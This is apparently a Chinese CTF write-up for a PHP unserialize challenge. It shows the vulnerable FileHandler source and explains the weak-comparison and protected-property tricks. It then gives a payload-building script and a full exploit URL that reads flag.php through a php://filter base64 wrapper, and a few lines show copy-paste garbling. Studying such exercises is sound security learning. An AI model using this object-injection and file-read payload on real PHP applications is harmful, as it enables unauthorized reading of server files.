<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
get str参数传入is_valid函数进行判断ASCII是否在32和125中间之后进行反序列化
反序列化时调用destruct函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
op进行强类型比较===2,content为空进入process函数
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
这里op进行的都是弱类型比较,如果op1传入write函数,op2传入read函数否则输出bad hacker
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
read函数中file函数是可控的,file_get_contents读取文件使用伪协议,output函数输出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
注意的是
o
p
,
op,
op,filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0无法过is_valid函数
payload
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
}
}
$a=new FileHandler();
$b=serialize($a);
echo $b;
?>
http://8615ecdf-4eb8-45e8-b929-0ee02ef211ae.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
base64解码得flag
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